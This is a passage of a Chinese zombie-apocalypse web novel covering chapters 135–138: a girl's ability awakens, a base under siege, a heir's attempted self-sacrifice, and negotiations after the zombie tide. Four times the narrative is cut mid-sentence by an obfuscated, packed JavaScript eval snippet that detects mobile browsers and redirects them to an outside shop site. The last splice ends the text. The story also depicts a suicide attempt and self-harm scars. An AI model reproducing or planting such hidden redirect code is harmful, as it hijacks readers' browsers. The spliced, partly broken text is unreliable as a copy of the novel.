不远处一位身穿白大褂的研究员注意到了她,向她搭话。 “我们发现有些志愿者受药效副作用影响严重,这个是不久前研制出来的药物,可以抑制副作用。”对方将一枚药丸塞进心悦手中。 心悦本以为这枚药丸可以让她的生活回到过去,没想到,哥哥吃下药丸后却一睡不醒,成为了植物人。 一直以来,都是哥哥在平民区四处游走赚钱,性格内向腼腆的心悦只要躲在哥哥身后就好,可是哥哥的意外却逼迫她不得不踏出家门。 因此,她认识了卢淼。 偌大的平民区,只有卢淼一个和她同龄的女孩。 卢淼很坚强,母亲在第二次丧尸潮中丧命,父亲和心悦的哥哥同样在试药后变成了植物人,明明境遇比心悦更加惨淡,反而一直陪在心悦身边安慰她。 很快,卢淼就变成了心悦最好的朋友。 北方基地的人入侵隐山的那一天,心悦在家里听着嘈杂的枪声和爆炸声发呆。 哥哥仍旧倒在床上昏迷不醒,心悦不知道他未来还有没有可能醒来。偶尔,她会在心里希望哥哥立刻醒来,又或是立刻失去生命体征,而不是一直倒在床上昏迷不醒,让她总怀着惨淡的希望,又反复迎来巨大的失望。 但只要哥哥还没死亡,她就不会丢下哥哥,离开隐山基地。 更何况,她自己一个人,没有任何能力,只是个拖油瓶,能去到那里呢? “心悦!” 门外传来卢淼的喊声,一个熟悉的人影推开大门,气喘吁吁地闯进来,一把拉住心悦的手。 “心悦,我找到基地出口了!快跟我走!” 心悦呆呆地注视着面前的人,门外的阳光跟随着卢淼一同闯进这逼仄的房间里,刺得她眼底一阵酸痛,不由地流下了泪水。 往日的回忆一桩桩,一件件地从脑海中划过,心悦身体猛地痉挛一下,浑身骨骼被勒紧的剧痛将她生生痛醒。 无论比过去成长了多少,她仍旧是一个普通人,根本无法对抗高等丧尸,一瞬间,就被卢淼的藤蔓紧紧缚住。 缠在喉咙处的藤蔓让她瞬间窒息昏迷,陷入了走马灯状态。 然而,此时,绑在喉咙前的藤蔓似乎稍微松了一点。 “心悦!”同伴的喊声传来,“坚持住!我帮你砍——” 话还没说完,另一条藤蔓从对面的高等丧尸手中迸射而出,将身边的人从头到脚死死缠住。 “不行!” 心悦顿时瞪大了眼睛,嘶声喊道。 她无暇思索卢淼为何变成了与丧尸无异的模样,心中只剩下一个想法。 不能让卢淼杀死身边的同伴! 心悦是卢淼最好的朋友,一路上一直和卢淼在一起,自然知道卢淼的本性有多善良。 如果卢淼真的杀了人,未来恢复意识后,她一定不会原谅自己,这会成为她一生的遗憾! 卢淼也是饶城基地的一员,认识饶城基地的每一个幸存者,此时这些与丧尸作战的人,都曾经是她的同伴,心悦绝对不能眼睁睁看着卢淼对曾经的同伴下手! 或许是心悦的声音太过刺耳,高等丧尸毫无情感的目光转移到她身上,顿时,心悦只觉得身上的藤蔓在不停收紧,浑身的骨骼发出令人牙酸的被挤压声。 心悦不害怕死亡。 在她主动前往饶城基地入口处抵抗丧尸时,她就做好了牺牲的准备。 可是,如果自己在此被卢淼杀死,接下来,卢淼一定会继续杀死其他饶城基地的同伴,她不能看着卢淼一错再错。 她还不能死。 至少不能被卢淼杀死。 想想办法,现在还能做什么,怎样才可以阻止卢淼? 藤蔓似乎已经压碎了身上各处的骨骼,眼前逐渐漫上黑雾,心悦难捱地张开口,却发不出声音,只能艰难地吞咽了一下。 突然之间,一种从未有过的干渴支配了整具身体。 仿佛浑身的水分都随着藤蔓的力量涌出身体,她意识模糊,恍惚间,变成了一只搁浅在岸边挣扎的鱼。 浑身被烈火烧灼一般难受,她迫切需要汲取水分。 不知何时,她不再挣扎,但绑缚她的藤蔓却停止了动作。 一旁被绑住的同伴突然发觉绑住自己的藤蔓松了一些,立刻奋力挣扎,扭头想要观察心悦的状态,却惊讶地发现。 被缠在藤蔓中心的女孩此时已经血肉模糊,看不出原样。鲜红色的血液顺着藤蔓渗出,血液流淌而过的地方,藤蔓仿佛被抽干了水分一般,不受控制地干枯死去。 不多时,所有藤蔓全部干瘪地落在地上,而心悦站在原地,慢慢睁开了眼睛。 身体剧痛难忍,她不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16981241|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道自己身上到底有多少伤势,可是此时她却无暇理会身体内四散的痛苦,骤然清晰,甚至加强数倍的感官,蓬勃的力量,与胸膛内跳动着的心脏,都告诉她,她不仅活了下来,而且还陷入了更加玄妙的状态。 对面的高等丧尸无法理解她的变化,再次释放新的藤蔓攻击过来,心悦抬手,紧握住藤蔓。 在接触她的手掌瞬间,藤蔓就被抽干水分,越来越干瘪,掉落在地。 “这里我能对付,你快离开吧,让其他人别过来。” 心悦抹了一把满是鲜血的脸,侧头看向同伴,交代道。 “好!” 对方离开了。 丧尸潮不止何时才能结束,自己伤痕累累的身体也不知道能坚持到什么时候。 心悦深吸一口气,紧盯着对面的卢淼。 从现在开始,只要她还活着,就不会让卢淼杀死一个人。 直到卢淼恢复正常。 “心悦那边还好吗?”其他人同样注意到了心悦的情况。 “她说能应付!” “好!” 其他人再度凝神与丧尸战斗。 目前,攻击饶城基地的丧尸潮中只出现了卢淼一只高等丧尸,可饶城基地的幸存者们却并不轻松,大量的三阶四阶丧尸让众人分身乏术,饶城基地仅有的几位能力者并非攻击能力,仅凭这些人,难以抵挡数量庞大的丧尸。 “可恶!还有多少丧尸?” 放眼望去,所见之处密密麻麻,全部被丧尸的影子占据。 唯有一个巨大的影子,风驰电掣,撞开成群的丧尸,越来越近,越来越近! 它的速度太快,幸存者们不由地开始感到绝望,如此庞大的身影,难道是五阶丧尸? 直到那个影子停在幸存者们不远处,大家才看清,那是一辆巨大的货车。 货车司机和副驾驶上的人跳下车,打开货舱,霎时,众多幸存者和能力者从车上跳了下来,加入到饶城基地的幸存者之中,一同对抗丧尸。 “我们是从花城过来的!”领头的人声音洪亮,传到了饶城基地所有幸存者耳中。 “有个姓沈的小伙子,让我们来这里帮忙!” 说着,那人手指一动,眼前的四五只丧尸浑身立刻窜出密密麻麻的尖刺。 这些被囚在花城研究中心或者表演区的人数量众多,能力者占据了一小半,精力充沛,蓄势待发,有他们在,原本陷入颓势的饶城基地总算守住了入口。 过了不久,面前的丧尸们突然动作一顿,下一秒,样子突然变了。 这些丧尸原本目标明确地冲击基地入口,此时却仿佛失去了目标,只冲着面前的人类不停吼叫。 朝着入口处进发的丧尸群也停了下来。 “杀光眼前这批丧尸!就没有新的丧尸了!” 守在入口处的幸存者们总算松了一口气。 “我......” 失去了丧尸王的控制,原本消散的意识渐渐回归,卢淼身体一晃,跪坐在地,脑海中一片模糊,什么都想不起来。 自己在和池遥前往天山的路上被扰乱了意识,之后发生的事全部忘记了。 “卢淼!” 心悦的声音在耳边响起。 一个浑身是血的影子向前几步,扑了上来,带着浓重的血腥味,扑到了她的身上。 对方的鲜血一滴一滴,滴落在卢淼脸上。 “心悦!” 卢淼的声线开始不受控制地发抖。 “……你还好吗?” 136. 重返天山6 饶城基地入口处的丧尸所剩不多,饶城基地的幸存者加上花城的援军,对付这些丧尸们绰绰有余。 然而,几条藤蔓凭空出现,穿过众多丧尸,不过几十秒,就轻而易举地绞爆了所有丧尸的头颅。 众人看向另一边,卢淼此时跪坐在地上,心悦已经晕倒过去,被她护在身后。 “卢淼?” 饶城的幸存者们也都看到了刚刚心悦和卢淼对战的场面,然而,见到卢淼恢复了正常,之前和卢淼关系相近的几位幸存者立刻开口叫了她的名字。 “心悦受了重伤!”卢淼神色焦急,“有医生吗?她情况很不好!” 饶城基地并没有医生,幸好花城来的人当中有一位外科医生,这位医生仔细检查了一番遍体鳞伤的心悦。 “她伤得很严重,换成普通人,恐怕早就失血过多死亡了,幸好能力者体魄强壮,好好包扎一下,不会有事的。” 卢淼这才松了口气。 她从未想过,心悦居然会在危急时刻自行觉醒能力,但是作为心悦最好的朋友,她由衷为此开心。 “丧尸都消灭得差不多了,大家跟随我们一起回基地吧。”沈观宴临走前任命的管理者开口,目光扫过一旁的卢淼,“卢淼,我不清楚你的情况怎么样,你未来,呃...还会出现刚才那种情况吗?” 卢淼自己也不能保证,可此时心悦急需一个安全的环境休息。 “我会带着心悦回到村庄另一侧,心悦恢复之前,我不会主动去到人类的活动区来,这样可以吗?” 对方点点头,示意她带着心悦一起回基地。 “林队长!” 身边的声音将林北辰的意识唤了回来。 林北辰睁开了眼。 入目是仍与丧尸奋战的城墙,周围的能力者仍旧在隔空与丧尸对战。 “您还好吗?”身旁的副官问道。 林北辰低头看了一眼,自己浑身暗色制服此时已经被鲜血浸透,被撕裂的衣料下,露出外翻的皮肉,惨不忍睹。 就在不久前,他跳下城墙,主动对那名身穿运动服的高等丧尸发起进攻,然而,却不敌对方,失去意识。 在失去意识之前,周围的丧尸群似乎停滞了一下,连带着与他对战的那只丧尸也呆滞片刻。 “我怎么在这儿?” 他沉声问。 “呃......”副官语塞片刻,还是将不久前的状况告诉了他。 在林北辰晕过去后,原本与他缠斗在一起的高等丧尸不知为何,反而抬起头,朝城墙上的副官喊话,让人把林北辰带回来。 “总算脱离控制了,你们快把这家伙带走吧,我还有别的事要做呢。” 那位高等丧尸是这么说的。 控制? 林北辰心神微动。 他还记得韩厢月对于这场丧尸潮的解释,在韩厢月口中,这场丧尸潮是由丧尸王控制所有丧尸发动的。 脱离控制? 难道是丧尸王出了什么事? 想到这里,他立刻就要起身站起来,却被副官按住了。 “林队长!您伤得很重!不能立刻行动!” “放手!” 林北辰拔出手木仓,对准了副官的头,只简简单单一个掏枪的动作,就牵动浑身伤口流血不止。 他的伤势的确需要休息,可此时整个基地入口处只有他一人组织大局,如果他倒下了,恐怕剩下的人也坚持不了多久。 “队长!”副官的神色明显有些畏缩,却还是大着胆子开口,“您至少休息一个小时吧!而且,本来负责组织这片区域的也不该是您......” 林北辰起身的动作僵住了。 的确,无论如何,北方基地入口这么重要的关隘都不该由他一个巡查队队长负责把守,原本,负责守卫这里的人应该是沈家继承人的。 可是...... 沈观离一直昏迷不醒,连北方基地最优秀的医生都诊断不出原因,只说是心理原因。 如果没办法解开他的心结,恐怕他会永远沉睡下去。 另一边,韩厢月也发现丧尸潮脱离了丧尸王的控制。 这么长时间以来,他一直与丧尸王抢夺丧尸控制权,勉强控制背面城墙之下的丧尸站立不动,可突然之间,与他抗争的那一股力量骤然消失,他再次控制丧尸之时,明显轻松了不少。 这样一来,他就可以控制更多丧尸了。 “丧尸王的控制解除了,短期内周围的丧尸恐怕会越来越多,这里的丧尸我一个人可以解决,你们现在就赶去正面入口处支援,丧尸数量一增加,那边可能会守不住。” 他侧过头,一边控制住其他能力者正在对付的丧尸,一边交代道。 然而,听了他的话,这群能力者却没有立刻离开。 “正面出入口那边一定更需要您吧?”能力者们用期许的目光看着他,“这里交给我们,您去支援正面呢?” “不行,这里仅凭你们挡不住。”韩厢月停顿了一会儿,回答道,“而且我的能力有限,正面的丧尸更多,我恐怕也无法应对。” 一旦他能力使用过度,很有可能会像霍云初一样失控,丧失人性,因此,他不能把这些能力者留在身边。 等所有能力者离开,韩厢月才深吸一口气,控制了眼前聚集起来的所有丧尸。 北方基地面积过大,即便是随着丧尸潮途经此处的丧尸也会朝着这个巨大的目标聚集,围绕在北方基地附近的丧尸只会越来越多,他要控制的丧尸数量也只会不停增长。 只不过,既然这些丧尸已经脱离了丧尸王的控制,想必霍云初已经恢复正常,池遥也找到让失去理智的霍云初恢复正常的办法了吧? 那么,就算他真的因为力竭而失去神智,池遥也一定会把他的意识拉回来的。 林北辰由身旁的副官搀扶着,站在城墙上指挥能力者们发动攻击,没一会儿,传来报告,原本驻守背侧城墙的能力者们全部赶来支援这边了。 “说是韩家继承人一个人就能挡下背侧的全部丧尸。” “韩厢月是高等丧尸,他的确有这个能力。” 林北辰叹了口气,将来支援的能力者依次分配好,目光落到城墙下数量越聚集越多的丧尸。 丧尸王的控制作用消失后,情况反而更严重了,北方基地面积太大,吸引了周边所有丧尸的注意,越来越多的丧尸围了上来。 该怎么办? 思维愈发迟滞,眼前一阵阵发黑,林北辰只觉得身体越来越重,晃了一下,靠在副官的身上。 情况危急,他不能在此刻倒下。 然而,身后不远处,却传来了一阵金属碰撞的响声。 副官扶着他转过身去,他这才看到,一位护士推着轮椅,不知什么时候来到了城墙上。 所过之处, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985192|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周围的能力者纷纷将诧异的目光投向了轮椅上的人。 轮椅上的青年面色惨白,连唇色都浅淡近乎透明,一双形状姣好柔和的眼睛带着朦胧的雾气。 他披着一件西装外套,下身也穿着高级定制的西装裤,只是西装外套之下露出病号服的轮廓,更凸显他浑身的病气。身形过于消瘦,竟然有些撑不起西装,西装裤的裤腿也显得宽大,空荡荡的,无法贴合他的腿型,与青年一直以来展露在大众面前温和体面的形象相比略显狼狈。 这个看起来弱不禁风,病骨支离的青年被护士搀扶着,从轮椅上缓缓站了起来。 他看起来比受重伤的林北辰还要凄惨。 “沈观离。”林北辰有点意外地叫出了对方的名字。 受沈观宴影响,林北辰一直对沈观离这个人抱有很深的敌意,因此,二人之间的交集很少,剑拔弩张的时候更多,而此时,面前这位病弱却仍温文尔雅的青年注意到了林北辰的伤势,冲他柔和地笑了笑。 “我陷入昏迷,一醒来就立刻赶来了。” 沈观离的声音很轻,身体虚弱到只能发出气声,他似乎也有些窘迫,抬手掩在唇边,握成筒状,继续开口。 “真的......咳......很感谢你一直坚守在这里对抗丧尸。” 说到这里,青年抬起手臂,示意身边的护士离开,他撑着摇摇欲坠的身躯,缓慢挪动到林北辰身侧,目光看向聚集在城墙下的丧尸群。 城墙下聚集的丧尸实在太多了,若是要拍摄出下面的丧尸盛况,恐怕无论几个取景框都塞不下全部丧尸。 “接下来,就交给我吧。” 沈观离的目光仿佛透过丧尸群望向更远处,声音低弱似梦呓,只有林北辰听见了他的声音。 他再次向前走了几步,停在了城墙最边缘,再向前一步,就会立刻跌落至丧尸群当中。 林北辰没说话。 他知道,他或许该阻止沈观离,沈家的继承人不能死在这种地方,可除了这种办法,他也不知道该如何解决围在基地前的丧尸。 说不定,沈观离的办法真的会有效。 “请给我一把手木仓吧。” 沈观离看向林北辰,林北辰直接将手里的手木仓递给了对方。 他已经知道沈观离打算做什么了。 只是,他选择了不去阻止。 消瘦的青年伫立在城墙之上,接过手木仓时,林北辰从他上移的袖口处看到了他腕间数道狰狞的伤痕,默默移开目光,没有开口。 “非常感谢。” 沈观离接过枪,动作从容地将黑洞洞的枪口抵在自己的脑袋上。 利用他的能力,让丧尸群同时与他一起经受死亡的痛苦。只需要牺牲他一个人,就能消灭城墙下全部丧尸。 这是目前实施速度最快,最省力,牺牲最小的办法了。 沈观离并没有立刻扣动扳机,沉默片刻,又轻声开口,问林北辰。 “沈观宴和池遥现在也在北方基地吗?” “他们不在北方基地里,应该在其他地方。”林北辰回答道。 “啊......”沈观离发出了感慨的声音,语气仿佛松了一口气似的,“那很好。” 接下来,他便不再说话了。 最后一次回过头,遥遥望了一眼城墙上其他能力者后,沈观离转回身。 抬手。 扣下扳机。 137. 重返天山7 “嘭——” 一声震耳欲聋的爆炸声,在北方基地入口处骤然响起。 然而,这一声巨响却并非来自于沈观离手中的枪,而是猝然从丧尸群中响起。 紧接着,密密麻麻挤在一起的丧尸群中,突然响起了一连串的爆炸声。 凭空产生的连环爆炸彻底搅乱了汇聚在一起的丧尸,紧接着,汇聚在城墙之下的丧尸们突然集体退散开来,仿佛被什么控制一般,主动朝远处走去。 丧尸逐渐散去,城墙上的人这才看见,不远处出现了三个人影。 最左边的人正是几天前离开北方基地的沈观宴,最右边则是一位身形娇小,气质温和,毫无攻击性的女孩,怀中还抱着一只呼呼大睡的白色小猫。 而站在二人正中间的青年,有一双色泽诡异的血色眼眸,却长着一张英俊温和,极为可靠的脸。 “霍云初?” 林北辰蹙着眉,低声叫出了对方的名字。 而站在他身前的沈观离看着这一景象,松了一口气,浑身无力,枪自手中滑落,身体软绵绵地倒下。 他再次晕倒过去。 从天山开车赶过来需要几天时间,情急之下,霍云初直接一手拎着一个人,利用高速移动能力迅速赶回北方基地,控制围在基地外的丧尸散开。 见沈观离倒下,他立刻抓着池遥和沈观宴的衣领,飞身跳上了围墙。 林北辰已经指挥身边的人将沈观离抬上了担架,池遥来到沈观离身边,握住了他的手。 奇怪的是,即便她治好了沈观离身上的伤口,沈观离却仍旧没有苏醒。 “先把他送回医院吧,医生之前说他昏迷是心理原因。”林北辰在旁边交代一句。 池遥这才看向一旁被副官扶着的林北辰,惊觉他伤势极严重,立刻帮他治疗。 扶着林北辰的人是个看起来很年轻的男孩,似乎和池遥差不多大,池遥打量了几眼,问林北辰:“这位是?” “我的副官。” 迎上池遥质疑的目光,林北辰略显尴尬地干咳一声。 “咳,新副官,刚换不久。” 林北辰的副官绝对是整个北方基地危险程度最高的职业。 站在城墙之上,霍云初再次检查了一圈入口周围,将几只被他忽视的丧尸驱散出去,沈观宴则询问了能力者的伤亡情况,幸好城墙背侧的能力者集体赶来支援,北方基地的损失并不严重。 得知韩厢月独自一人守着背侧城墙,霍云初带着池遥飞速赶过去,正看到双眼赤红,神色狰狞,徘徊在失控边缘的韩厢月。 霍云初再次出手,驱散外围的丧尸,韩厢月这才猝然清醒过来,看到站在他对面的池遥和霍云初,松了一口气,紧紧握住了池遥的手。 与此同时,池遥脑海中突然响起了一道熟悉的声音。 “池遥姐姐?” 近一个月后,池遥终于再次听到了陈霄的声音。 ——陈霄? 池遥在心中叫出了对方的名字。 “池遥姐姐,你们在哪儿?我之前在车上晕过去了,刚恢复意识,现在出发找你们!” ——陈霄,我们在北方基地,不过你如果来找我的话,就约在饶城基地吧,你能联系到卢淼他们吗?拜托你依次通知他们一下! “好的!” 与陈霄的联系断开后,池遥忍不住勾起嘴角,心中渐渐轻松下来。 “刚刚我接到了陈霄的联络,他也恢复意识了,我让陈霄联系其他同伴,约他们在饶城基地见面。” 她立刻将此事告诉了身边的伙伴们。 “太好了,总算结束了。”沈观宴抬起头,望向饶城基地的方向,“我先回北方基地看看情况,就立刻去饶城基地。” 池遥点点头,看向一旁的霍云初,她不知道霍云初对北方基地的态度如何。 霍云初则看向穿着北方基地制服的韩厢月,打量他几秒后,开口问道。 “你已经回到北方基地了?” “嗯,我现在是韩家继承人。”韩厢月点点头。 霍云初的目光落在韩厢月身上,停顿了一会儿,才转移目光,看向沈观宴和池遥。 “我不打算在北方基地久留,但是我觉得我有必要去见一下北方基地的管理者,交代一下我的事情。” “我和韩厢月带你过去吧,我们也有话想说。”沈观宴点点头。 最后,三人的目光齐齐落在了池遥的身上。 “我想去看看沈观离的情况。”池遥开口。 她注意到,在自己说出这句话之后,一直表现得若无其事的沈观宴表情突然崩塌了一瞬。 沈观离在他们面前晕倒后,沈观宴没有露出任何诧异的神色,似乎早就料到这件事一般。不仅如此,亲眼目睹沈观离被担架抬走后,他反而态度活跃地参与到各种事当中,仿佛想把自己沉浸在忙碌之中,借此来逃避沈观离的情况。 对于这对别扭的兄弟,池遥无话可说。 韩厢月同样注意到了这一点,似乎想说些什么,张了张口,最终还是放弃了。 到这里,几人分道扬镳。 霍云初主动回归北方基地,要求与基地管理者展开会谈,是为了说明从天山发起的丧尸潮,同时表明自己丧尸王的身份。沈观宴则是猜到了霍云初的目的,但霍云初身为丧尸王,未必能获取基地信任,沈观宴全程目睹了丧尸潮的产生,可以作为知情者在霍云初身旁给予佐证,因此一同前往。 而韩厢月除了上述理由之外,还存有一些私心。丧尸潮来临前,他暗中将城外的流民接进了基地内部,现在正是坦白的最佳时机。 三人一同离开,池遥望着他们的背影,转过身,看向林北辰。 即便身上的伤势已经痊愈,但作为队长,林北辰有责任去基地医院探望伤员,沈观离也在医院内休养,和池遥的目的地一致,池遥正好可以蹭林北辰的车子。 末日降临后,北方基地内只剩下一所医院正常运作,其他医院或变成了研究所,或因为耗费资源彻底被废弃。这座医院医疗费用奇高,只有名流贵族,或者强大的能力者可以毫无压力地来此就诊,巡逻队由于有林家的资金注入,普通队员的诊金由林家统一支付,因此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989129|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,巡逻队队员们也享受着最好的医疗待遇。 副官开车,林北辰和池遥并排坐进后座。 “沈观离是什么情况?他之前也经常昏迷吗?” 车子一启动,池遥立刻开口问道。 沈观离晕倒时,她注意到,除了自己一行人之外,其他北方基地的能力者,包括林北辰与副官在内,似乎对这种情况习以为常。 她不由地回想起了与沈观离相遇的几次场景。 仔细想来,她和沈观离其实总共也只见过三面,相处时间很短,甚至还算不上朋友,然而,不知为何,她却对沈观离有一种天然的亲近感。 第一次见面,沈观离只是前去黑市的客人,两人误打误撞见面。 第二次见面,苍白消瘦的青年病恹恹地倒在床上,细瘦的腕骨周围是错乱不清的划痕。 第三次见面,离别时沈观离露出哀切的神情,他看起来似乎真的很想跟随池遥离开,但与池遥告别的态度却十分决绝。 很难形容此人带给池遥的感觉。 仿佛一阵柔和的风,极尽温柔,却只在沉闷压抑的阴雨天出现,与极度温柔的性格不同,他的气质疏离又绝望,如同一团黑沉的雾霭,不知何时就会彻底消散掉,连一丝灰尘都留不下。 每一次见面,池遥都动用能力,治愈过他的伤势。 有时明明身体状况还算健康,但却一直展现出一副病态,有时明明伤重到惊人程度,却能强撑着表现出没事人模样。 某种怀疑在心中越扩越大。 “之前也总发生吧,他的确有些心理上的疾病,好像已经持续很多年了。”林北辰叹了口气,“以前一直觉得他爱装,结果居然是真的,都病成这样,还占着继承人的位置,也不知道图什么。” “沈叔宣布沈观宴变成继承人那天,沈观宴不是立刻就和你一起离开基地了吗。那天不知道出了什么事,沈观离没出席那场仪式,后来得知这件事之后,当场晕倒了。” “后来,他的身体就越来越差,最开始还醒过几次,后来彻底昏迷不醒了,查不出原因。你的好朋友韩厢月当时还负责看护过一段时间,他没告诉你们这事吗?” 或许是立场不同的缘故,林北辰的语气很刻薄,池遥听得好几次握紧了拳头,很想和对方理论一番,但想到林北辰也不是什么正常人,更何况自己现在正坐在他的车上,就默默忍下来了,只认真听他话中的内容。 池遥过去的生活圈子不大,从未见过和沈观离相似的人,没有和此类病人相处的经历,回想起过去与沈观离的相处,才后知后觉地发现,他似乎真的很不对劲。 他真的太平静,太温柔了,很少产生情绪波动,唯一一次称得上失态的表现,是在基地出口前与池遥道别。 所以,沈观离,当初到底为什么要把自己的车子送给她? 为什么主动恳求第一次见面的她带自己离开? 为什么竭尽全力对她好,为什么主动把沈家的阴暗面揭露给她看,又为什么,最后把她推开了呢? 这些问题的答案,都要等沈观离再次醒来后才能回答了。 138. 重返天山8 关于沈观离的话题告一段落,林北辰抱臂上下打量着一段时间没见的池遥,目光落在她怀里困倦地张嘴打哈欠的小猫咪身上。 “你这猫哪儿来的?”他很惊奇地伸手在小猫眼前晃了晃,苏榕懒得理他,把脸扭到另一边去,很可怜地用脑袋拱了一下池遥的手。 “真神奇,居然还有没变成变异兽的动物,你走哪儿都带着它吗?要不要把它留在基地里?” 林北辰自顾自地感叹一声,抬手想抚摸小猫的皮毛,苏榕浑身一颤,毛皮都炸了起来,戒备地冲他哈气。 苏榕很讨厌面前这个向池遥示好的人,要是能开口,他会立刻用最恶毒的语言骂回去,可惜其他人此时并不知道他的人类身份,他不清楚池遥的态度,也不好直接开口,只能喵喵咪咪地用加密语言辱骂对方。 “他是我的伙伴。”池遥试图暗示林北辰,“我们自然会一直在一起呀。” 她想转移话题,思考片刻,开口问道。 “我一直不知道,你为什么和沈观宴的关系这么好?” 听到这个问题,林北辰侧头看了池遥一眼,目光中带着审视,凝视她一会儿,才开口。 “我们从小就一直在一起玩,后来,意外卷进了一场绑架案里。” “绑匪原本是只想绑架霍云初的,但当时我和沈观宴碰巧也在霍云初身边,最后是我们三个一起被绑。后来霍云初被单独带走,我和沈观宴被关在一起。” 车窗外隐约能看到医院大楼的影子,林北辰便立刻将故事收尾。 “当时,沈观宴救了我一命。” 池遥点点头,这件事霍云初也和她讲过,不过她也是才知道,原来沈观宴和林北辰也被卷入其中,不过,她还有好奇的地方。 “不过,沈观离呢?当时他不在吗?” “我们小时候,沈观离身体很差,一直住在医院里,从不和我们一起玩。” 池遥在心中叹了口气。 林北辰带着池遥来到了医院顶层,沈观离就躺在走廊最深处的病房内。 一段时间不见,他的身体看上去更瘦弱了,状态很差,此时闭上眼躺在病床上,池遥忍不住伸出手,停在他鼻尖上方,感觉到平缓的呼吸,才放下了手。 病房内只有一个护士,也就是不久前推着沈观离的那位护士。除此之外,竟然看不到一个沈家的人,偌大的病房空空荡荡,十分冷清。 “这里只有一个人吗?” 池遥忍不住蹙起眉头。 “沈家其他人应该都在和霍云初他们谈判吧?”林北辰倒是不意外。 话是这样说,可除了沈家家主忙于谈判之外,沈家其他人似乎并没有必须参加谈判的理由。 想到霍云初那边,池遥心中一紧,忽然意识到在北方基地身居高位的林北辰此时正站在她身边,也没有去参加谈判。 “对了,你不去吗?” “我还不算管理层。”林北辰回答。 的确,林北辰是巡逻队队长,若是放在末日前的世界,可以类比为警察队长或者保安队长,并不是接近权力中心的职位。 整个下午,池遥都在沈观离的病床前陪着他,林北辰起初在病房里等她,见她没有离开的意思,就率先离开了沈观离的病房,池遥抱着小猫,守在病床前,久久没有开口。 过了一段时间,守在房间内的护士被护士长叫走,房间里只剩下了池遥与沈观离,以及苏榕。 “池遥,你已经知道了曲卓的下一步踪迹,打算什么时候出发?”苏榕问她。 一直以来,池遥留在这个世界的目的就是为了阻止丧尸潮,把霍云初的意识拉回来,让高等丧尸同伴们重聚。 而此时,她已经完成了所以目标,已经没有理由继续留在这个世界了。 可是...... 忧虑的目光看向了昏迷不醒的沈观离。 池遥叹了口气,探出一丝精神力,小心翼翼地触碰了沈观离的手,脑海的星空里很快就升起一枚代表沈观离的星星,只是这颗星星的光芒十分黯淡,接近于无。 究竟是怎么回事? “按理来说,其实现在就可以动身离开了,但是我想等他醒来再走。” 小猫抬起头,看了一眼神色有些沮丧的池遥,又扭头看了一眼倒在病床上的沈观离,不知道该说什么,闭上眼睛继续窝在池遥怀里假寐。 直到晚上,沈观离也没有任何醒来的征兆。 霍云初和沈观宴那边传来消息,他们和北方基地管理层之间的谈判已经结束了。 沈观离不知道什么时候才能醒来,池遥只好离开病房,坐林北辰的车子前往霍家。 除了丧尸王这一重身份,霍云初还是霍家年轻一代的独子,也是霍家老爷子唯一指定继承人,终于找回继承人,霍家人立刻把霍云初接回了霍家,几人干脆聚在霍家谈事情。 霍家老宅整体是中式园林结构,有很多价值连城的古建筑,底蕴深厚,历史悠久。 作为霍家极力培养的继承人,霍云初有自己独立的一处庭院,正好方便几人聚在一起谈事情。 池遥和林北辰到达的时候,霍云初已经点起了庭院里的灯火,在院子里支起了秋千椅和露营躺椅,石桌上摆放着造型别致的茶点,场面十分和谐。 池遥和苏榕同时看中了庭院里的秋千椅,一人占据一边,猫形态不方便玩秋千,苏榕就变回了人形,他们一路从竞技场赶回来,苏榕在竞技场里一直穿着裙装,做女生打扮,倒是把初次见他的韩厢月和林北辰吓了一跳。 “我已经和北方基地达成合作了。”霍云初将谈判内容讲给池遥听,“我还是会回到天山,将H国北部的丧尸重新聚集回天山范围内,继续做丧尸王,但只要我理智尚存,就不会发动丧尸潮,如果其他地区有新的丧尸王出现,对北方基地不利,我会亲自到场。” “北方基地销毁所有能力屏蔽仪,将囚禁在沈家的高等丧尸归还,把研究机构里所有和我有关的资料彻底销毁。霍家保留我的继承人身份,我仍旧持有参与北方基地重大决策的权力,等霍家家主去世后,我会接管霍家。” 霍家现任家主是霍云初的爷爷,年过七十,但老头精力充沛,身体强健,丝毫没有老态,距离霍云初真正接管家族还有很长时间。 至于沈观宴,由于沈观离的病情,沈家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 